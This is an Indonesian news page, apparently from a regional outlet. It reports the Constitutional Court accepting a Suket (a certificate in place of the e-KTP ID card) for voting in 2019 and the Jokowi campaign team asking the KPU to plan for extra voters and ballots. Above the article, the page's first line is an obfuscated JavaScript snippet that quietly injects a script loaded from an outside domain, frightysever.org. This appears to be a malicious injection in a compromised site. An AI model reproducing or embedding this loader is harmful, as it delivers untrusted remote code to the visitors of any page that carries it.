(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Suket Bisa untuk Nyoblos, TKN Jokowi Minta KPU Antisipasi Lonjakan DPTb


JAKARTA, Mahkamah Konstitusi (MK) mengesahkan Surat Keterangan (Suket) pengganti e-KTP menjadi syarat mencoblos pada Pemilu 2019. TKN Jokowi-Ma’ruf Amin meminta KPU mengantisipasi lonjakan daftar pemilih tambahan (DPTb) dan ketersediaan surat suara.

“KPU harus memastikan apakah bisa jadi akan terjadi banyak lonjakan daftar pemilih tambahan, daftar pemilih tambahan ini harus diantisipasi dengan banyaknya surat suara,” kata Juru Bicara Tim Kampanye Nasional (TKN) Jokowi-Ma’ruf, Ace Hasan Syadzily, di Jakarta, Jumat (29/3).

Ace memperkirakan akan ada banyak pemilih yang menggunakan hak pilihnya atas dasar Suket. Karena itu, KPU harus mengantisipasi ketersediaan surat suara dengan cadangannya terutama di daerah-daerah.  “Memang dalam UU disebutkan 2,5 dari jumlah pemilih itu di satu TPS demikian adanya dijamin, tapi harus diantisipasi stok cadangan kertas suara tersebut sehingga dapat memenuhi kebutuhan bagi daftar pemilih tambahan sesuai dengan Suket yang dasarnya adalah Suket,” katanya dilansir detik.com.

Selain itu, Ace menyebut Kemendagri dan Pemda juga harus mengantisipasi Suket palsu misalnya diberi tanda barcode atau lainnya. Selain itu penyelenggara pemilu juga harus mengantisipasi pemilih nyoblos lebih dari sekali misalnya dengan penggunaan tinta.

“Menurut saya kalau sudah bisa diantisipasi dengan tinta tanda pemilih seharusnya bisa diantisipasi dengan cara itu. Jadi satu orang nggak bisa menggunakan hak pilihnya lagi karena ditunjukkan dengan adanya tinta tanda dia memilih. Kalau sudah menggunakan ini seharusnya dia sudah tidak lagi bisa memilih,” kata Ace.

Sebelumnya, Mahkamah Konstitusi (MK) mengesahkan Surat keterangan (Suket) e-KTP menjadi syarat mencoblos pada Pemilu 2019. Dirjen Dukcapil Kemendagri Zudan Arif Fakrulloh memastikan Dukcapil siap memfasilitasi perekaman e-KTP, bahkan prosesnya dipercepat agar suket bisa langsung jadi.

“Saya kira MK sudah sangat tepat mendorong orang-orang belum merekam segera melakukan perekaman (e-KTP). Dukcapil akan siap memfasilitasi perekaman itu. Kantor kita buka terus, jemput bola kita lakukan terus. Dukcapil proaktif masyarakat juga harus sama,” kata Zudan. (yld/dtc)

Reporter:yld/dtc
Editor:Cell

Desy Arfianty

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

10 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

12 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

14 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

15 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

15 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

17 jam ago

This website uses cookies.